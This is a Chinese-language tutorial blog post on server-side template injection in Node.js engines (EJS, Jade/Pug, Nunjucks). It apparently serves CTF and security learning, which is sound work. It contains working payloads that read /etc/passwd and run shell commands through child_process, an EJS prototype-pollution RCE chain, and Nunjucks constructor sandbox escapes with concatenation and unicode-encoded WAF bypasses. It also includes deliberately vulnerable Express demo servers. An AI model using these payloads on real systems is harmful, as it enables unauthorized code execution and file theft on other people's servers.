Nodejs模板注入基础

19次阅读
没有评论

共计 7017 个字符,预计需要花费 18 分钟才能阅读完成。

Nodejs 除了原型链污染外另一个常考点就是 SSTI 了
常见的模板引擎有:

  • EJS
  • Pug(Jade)
  • Nunjucks
  • Mustache
    之前 Python 的时候大家应该都知道 SSTI 的成因就不再赘述了。

    EJS 模板注入

    EJS 简介

    EJS 是一个 JavaScript 模板库,用来从 json 数据中生成 HTML 字符串
    使用 <% code %> 执行 JavaScript 代码

    基础用法:

标签:

所有使用 <% %> 括起来的内容都会被编译成 Javascript,可以在模版文件中像写 js 一样 Coding

//test.ejs
<% var a = 123 %>
<% console.log(a); %>

//test.js
var ejs = require('ejs');
var fs = require('fs');
var data = fs.readFileSync('test.ejs');
var result = ejs.render(data.toString());
console.log(result);
//123

var ejs = require('ejs');
var result = ejs.render('<% var a = 123 %><%console.log(a); %>');
console.log(result);
//123

插值语句:

<%= 变量名 %>
 if else 语句
  <% if(条件){ %>
      html 代码
   <% } %>

实例:

<body>
<% if (state === 'danger') { %>
     <p> 危险区域, 请勿进入 </p>
<% } else if (state === 'warning') { %>
    <p> 警告, 你即将进入危险区域 </p>
<% } else { %>
    <p> 状态安全 </p>
<% } %>
</body>

循环语句:

<% arr.foreach((item,index)=>{%>
html 代码
<% }) %>

实例:

<body>
<ul>
<% for(var i = 0; i < users.length; i++) { %>
<% var user = users[i]; %>
    <li><%= user %></li>
<% } %>
</ul>
</body>

渲染页面:

ejs.compile(str,[option])

编译字符串得到模板函数,参数如下

str:需要解析的字符串模板
option:配置选项
var template = ejs.compile('<%=123 %>');
var result = template();
console.log(result);
//123
`ejs.render(str,data,[option])`

直接渲染字符串并生成 html,参数如下

str:需要解析的字符串模板
data:数据
option:配置选项
var result = ejs.render('<%=123 %>');
console.log(result);
//123

变量:

<%=...%> 输出变量,变量若包含 '<' '>' '&'等字符会被转义

var ejs = require(‘ejs’);
var result = ejs.render(‘<%=a%>’,{a:’

123

‘});
console.log(result);
//<div>123</div>

如果不希望变量值的内容被转义,那就这么用 <%-... %> 输出变量

var ejs = require(‘ejs’);
var result = ejs.render(‘<%-a%>’,{a:’

123

‘});
console.log(result);
//

123

注释:

<%# some comments %> 来注释,不执行不输出

危险函数

include

<%- include('/etc/passwd') %>

fs

<%= global.process.mainModule.require('fs').readFileSync('/etc/passwd', 'utf-8') %>

child_process

<%= global.process.mainModule.require('child_process').execSync('cat /etc/passwd').toString() %>

配合原型链污染 RCE

这个严格上来说与 SSTI 没有关系,但是经常有人把这个和 SSTI 放在一起,所以我们这里稍微讲一下,也很简单

当 res.render(X)执行的时候,express 会把.ejs 文件全部读取,并且把模板内容(也就是 ejs 文件)、数据对象(程序员显式传入的变量)用户输入、全局设置全部交给 EJS 引擎。

var src = 'var out ="";n';
src += 'var __line = 1;n';
src += 'try {n';

if (opts.outputFunctionName) {src += 'var' + opts.outputFunctionName + '= escapeFn;n';}
if (opts.destructuredLocals) {src += 'var {' + opts.destructuredLocals.join(',') + '} = locals;n';
}
src += 'with (locals || {}) {n';
src += 'out +="' + templateContent + '";n'; 
src += '}n';
src += 'return out;n';
src += '} catch (err) {n';
src += 'rethrow(err, __line);n';
src += '}n';

其中 opts.outputFunctionName 被直接拼接进代码,
但是默认这个是没有赋值的,我们可以通过原型链污染赋值实现代码执行

{
  "__proto__": {
    "__proto__": {"outputFunctionName": "a; return global.process.mainModule.require('child_process').execSync('cat /flag').toString(); //"}
  }
}

那么在 EJS 引擎工作时,被 + 给拼接后会变成

src += var a;return global.process.mainModule.require('child_process').execSync('id').toString();// = escapeFn;

return global.process.mainModule.require(‘child_process’).execSync(‘id’).toString(); 直接独立成立一个语句,直接执行
或者{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"}}

const express = require('express');
const ejs = require('ejs');
const app = express();
const PORT = 3000;

app.get('/', (req, res) => {
    // 1. 从 URL 参数中获取用户输入,例如 ?name=Guest
    const userInput = req.query.name || 'Guest';

    // 2.【核心漏洞点】:动态拼接字符串作为模板
    // 这里把用户输入直接拼进了模板字符串中,导致用户可以注入 EJS 语法(如 <% %>)const template = `
        <html>
            <body>
                <h1> 欢迎来到 EJS 实验场景 </h1>
                <p> 你好, ${userInput}!</p> 
            </body>
        </html>
    `;

    try {
        // 3. 使用 ejs.render 渲染这个被污染的字符串
        const html = ejs.render(template);
        res.send(html);
    } catch (err) {res.status(500).send("渲染出错:" + err.message);
    }
});

app.listen(PORT, () => {console.log(` 服务已启动: http://localhost:${PORT}`);
});

我们输入http://localhost:3000/?name=<%= process.mainModule.require('child_process').execSync('whoami').toString() %>
就可以执行命令
我们来分析一下这个 payload

# 大致流程是
process(当前进程)->mainModule(指向启动当前进程的入口模块)->require(获取 require 方法)-> 导入 child_process 执行命令

Jade(Pug)模板注入

Jade 得功能更加强大,攻击面比 EJS 更加广泛

模板定位符是#{}
例如:

// 极其危险:直接拼接用户输入
const template = "h1 欢迎," + req.query.name;
const html = jade.render(template);

输入
?name=#{7*7}会返回 49

#{process.mainModule.require('child_process').execSync('whoami').toString()}会返回 whoami

下面一段代码演示一下

const express = require('express');
const jade = require('jade');
const app = express();
const PORT = 3000;

app.get('/', (req, res) => {
    // 获取用户输入的参数 'name'
    const name = req.query.name || 'Guest';
    const template = `
doctype html
html
  body
    h1 欢迎来到实验环境
    p 你好, ${name}!
    p 当前时间是: #{new Date()}
`;

    try {
        // 渲染拼接后的字符串
        const html = jade.render(template);
        res.send(html);
    } catch (e) {res.status(500).send("模板渲染出错:" + e.message);
    }
});

app.listen(PORT, () => {console.log(` 漏洞服务器已启动: http://localhost:${PORT}`);

});

Nodejs 模板注入基础

Nodejs 模板注入基础

Nunjucks 模板注入:

Nunjucks 是一个功能丰富、强大的 JavaScript 专用模板引擎。Nunjucks 提供丰富的语言特性和块继承、自动转移、宏和异步控制等等。

他的模板符号和 Python Flask 一样是{{}},判断语句是 “

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Document</title>
</head>
<body>
    <h1> 我是一级标题 </h1>
    <!-- 插值引用数据 -->
    <p> 用户名是:{{username}}</p>
</body>
</html>

与 EJS 不同,Nunjucks 默认在一个相对“干净”的上下文中运行,直接访问 process 有时会被限制。但由于 JavaScript 的特性,我们可以通过任何一个对象的 构造函数(constructor)跳回全局环境。

Payload:
{{range.constructor('return process.mainModule.require("child_process").execSync("id").toString()')()}}
- {{range.constructor("return global.process.mainModule.require('child_process').execSync('ls /').toString()")()}}

我们来拆开解析这个 payload:
首先什么是构造函数?
在 JavaScript 中,几乎每个对象都有一个 constructor 属性,指向创建该对象的函数。

  • 如果你有一个字符串:"abc".constructorString
  • 如果你有一个数字:(123).constructorNumber
  • 如果你有一个内置函数:range.constructorFunction

关键: Function 是 JavaScript 的顶级构造函数,它可以用来 动态创建并执行新的函数。4

我们的 payload{{range.constructor('return process.mainModule.require("child_process").execSync("id").toString()')()}}就相当于

function anonymous() {return process.mainModule.require("child_process").execSync("id").toString();}

而这里的 range.constructor 就等于 function。

下面看看演示代码

const express = require('express');
const nunjucks = require('nunjucks');
const app = express();
const PORT = 3000;

nunjucks.configure({autoescape: false});

app.get('/', (req, res) => {
    const name = req.query.name || 'Guest';
    const templateString = `<h1> 你好, ${name}!</h1><p> 欢迎来到 Nunjucks 测试环境。</p>`;

    try {const result = nunjucks.renderString(templateString);
        res.send(result);
    } catch (err) {res.status(500).send("渲染错误:" + err.message);
    }

});

app.listen(PORT, () => {console.log(`Nunjucks 漏洞服务器运行在: http://localhost:${PORT}`);

});

Nodejs 模板注入基础
有的时候 payload 也长这个样子
{{range.constructor("return global.process.mainModule.require('child_process').exec('calc')")()}}
这里多了一个 global。当你通过 range.constructor('...')() 创建一个新函数时,这个函数是在 全局作用域 下运行的。虽然直接写 process 通常能跑通,但写成 global.process 是一种更“标准”的写法,确保 JavaScript 引擎从最顶层的全局池里去寻找这个变量,而不是在当前的局部闭环里打转。

绕过 waf

字符串拼接

{{"string"["toSt"+"ring"]["const"+"ructor"]('return process.mainModule.require("child_process").execSync("whoami").toString()')()}}
这里发送的时候时候需要 URL 编码否则会失败
或者是{{range["const"+"ructor"]('return process.mainModule.require("child_process").execSync("whoami").toString()')()}}
注意加了引号会被解析成字符串

UNICODE 编码

{{"string"["toSt"+"ring"]["const"+"ructor"]("return(global["process"]["mainModule"]["require"]("child_process")["execSync"]("cat /flag")["toString"]())")()}}
经过 unicode 编码
{{"string"["toSt"+"ring"]["const"+"ructor"]("return(global["\u0070\u0072\u006f\u0063\u0065\u0073\u0073"]["\u006d\u0061\u0069\u006e\u004d\u006f\u0064\u0075\u006c\u0065"]["\u0072\u0065\u0071\u0075\u0069\u0072\u0065"]("\u0063\u0068\u0069\u006c\u0064\u005f\u0070\u0072\u006f\u0063\u0065\u0073\u0073")["\u0065\u0078\u0065\u0063\u0053\u0079\u006e\u0063"]("\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067")["\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067"]())")()}}

正文完
 0
Rycarl
版权声明:本站原创文章,由 Rycarl 于2026-04-01发表,共计7017字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
评论(没有评论)
验证码